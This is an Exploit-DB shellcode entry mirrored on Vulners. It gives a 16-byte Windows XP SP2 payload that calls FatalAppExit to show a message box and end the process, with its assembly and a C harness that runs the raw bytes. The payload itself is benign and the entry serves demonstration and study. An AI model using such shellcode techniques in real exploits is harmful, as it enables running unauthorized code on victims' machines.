Lucene search
K

Windows XP Pro Sp2 English "Message-Box" Shellcode

🗓️ 03 Jan 2010 00:00:00Reported by AodrulezType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

Windows XP Pro Sp2 "Message-Box" Shellcode, displays MessageBox, terminates proces

Code
+-----------------------------------------------------+
| Windows XP Pro Sp2 English "Message-Box" Shellcode. |
+-----------------------------------------------------+

Size         : 16 Bytes, Null-Free.
Author       : Aodrulez. 
Email        : [email protected]



Shellcode = "\xB9\x78\x68\x82\x7C\x33\xC0\xBB"
            "\xF8\x0C\x86\x7C\x51\x50\xFF\xD3"




+--------------+
| Description: |
+--------------+

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I've used a Function called "FatalAppExit".
The Benefits are Three-Fold!

1] Displays a MessageBox.
2] Terminates the Process. 
3] Its there in Kernel32.dll itself.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





+-----------+
| Asm Code: |
+-----------+

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode:
 	      mov ecx,7c826878h ;"Admin" string in mem
 	      xor eax,eax
 	      mov ebx,7c860cf8h ;Addr of "FatalAppExit()" 
 		push ecx          ;function from Kernel32
 		push eax          
 		call ebx          ;App does a Clean Exit.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






+-----------------+
| Shellcodetest.c |
+-----------------+

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

char code[] = "\xB9\x78\x68\x82\x7C\x33\xC0\xBB"
              "\xF8\x0C\x86\x7C\x51\x50\xFF\xD3";
 



int main(int argc, char **argv)
{
  
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



+-------------------+
| Greetz Fly Out To |
+-------------------+

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1] Amforked()	 : My Mentor.
2] The Blue Genius : My Boss.
3] www.orchidseven.com
4] str0ke
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+---------------------------------------------+
| Forgive, O Lord, My Little Jokes on Thee,   |
| and I'll Forgive Thy Great Big Joke on Me.  |
+---------------------------------------------+

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation